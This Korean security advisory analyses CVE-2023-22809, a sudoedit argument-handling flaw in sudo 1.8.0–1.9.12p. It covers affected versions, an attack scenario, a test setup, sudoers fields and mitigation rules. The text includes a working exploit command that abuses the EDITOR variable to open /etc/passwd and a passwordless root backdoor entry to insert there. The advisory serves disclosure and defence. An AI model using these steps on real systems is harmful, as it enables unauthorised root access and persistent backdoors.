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Research & Technique 
    

 

sudoedit을 악용한 임의의 파일 쓰기 취약점(CVE-2023-22809) 

 

■ 취약점 개요 

 

■ 영향 받는 소프트웨어 버전 

S/W 구분 취약 버전 

sudo 1.8.0~1.9.12p 

※ 1.8.0 이전의 sudo 버전은 인자 처리 방식이 달라 영향을 받지 않는다. 
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■ 공격 시나리오 

 

 

① 공격자는 취약한 서버 탐색 및 sudoers에 등록된 계정을 탈취한다.  

② 공격자는 CVE-2023-22809 취약점을 이용해 허용된 파일 이외의 임의 파일(/etc/passwd)을 수정해 백도어를 

생성한다. 

③ 공격자는 백도어를 통해 PC 제어권을 탈취한다. 

④ 공격자는 사용자의 중요 정보를 지속해서 획득할 수 있다. 

 

■ 테스트 환경 구성 정보 

이름 정보 

피해자 

Ubuntu 20.04.5 LTS 

Sudo version 1.8.31 

Sudoers policy plugin version 1.8.31 

Sudoers file grammar version 46 

Sudoers I/O plugin version 1.8.31 

※ Sudo 1.8.31 버전은 Ubuntu 20.04.5 LTS 에 기본으로 내장되어 있는 버전이다. 

 

  



 

EQST insight | 3 

■ 취약점 테스트 

이름 정보 

rootDir 읽기만 가능한 root 소유의 디렉터리 

Insight root 사용자만 읽기/쓰기/실행이 가능한 파일 

 

 

 

 

 



 

EQST insight | 4 

명령어 $ sudoedit /var/tmp/rootDir/Insight 

sudo -e: sudo 프로그램에서 편집을 수행하는 옵션으로 edit 을 의미하며 sudoedit 과 동일한 기능을 한다. 
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명령어 

$ EDITOR=’편집기 -- [임의 파일]’ sudoedit [허용 파일] 

$ EDITOR='vim -- /etc/passwd' sudoedit /var/tmp/rootDir/Insight 

편집기 실행 후 /etc/passwd 파일에 EQSTLabBackdoor::0:0:/root:/bin/sh 입력 

[계정 이름]:[패스워드]:[uid][guid]:[홈 디렉터리]:[쉘 주소] 
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■ 취약점 상세 분석 

udoers 

필드 설명 

1 번 

필드 
유저(그룹)명 

명령어 실행 권한을 줄 계정이나 그룹 명 설정 

- 모두에게 줄 경우 ALL 을 사용 

2 번 

필드 
호스트 

명령을 실행할 대상 서버나 IP 

- 모두에게 줄 경우 ALL 을 사용 

3 번 

필드 
실행 계정의 권한 

명령어 실행 시, 명시된 계정의 권한으로 실행 

- 생략 시 root 권한으로 실행 

4 번 

필드 

암호 설정 여부 

[생략 가능] 

NOPASSWD 옵션 설정 시 명령어 실행할 때 계정 암호 

생략 가능 

5 번 

필드 
명령어 

실행을 허용할 명령어 및 경로 

- 모든 명령어를 허용할 경우 ALL 사용 
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EDITOR=’vim -- /etc/passwd’ sudoedit /var/tmp/rootDir/Insight  
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vim -- /공격 파일 -- /허용 편집 대상  
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■ 대응 방안  

 

Defaults!sudoedit    env_delete+="SUDO_EDITOR VISUAL EDITOR" 

 

 

 

Cmnd_Alias             EDIT_MOTD = sudoedit /var/tmp/rootDir/Insight 

Defaults!EDIT_MOTD     env_delete+="SUDO_EDITOR VISUAL EDITOR" 

user                    ALL = EDIT_MOTD 
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■ 참고 사이트  




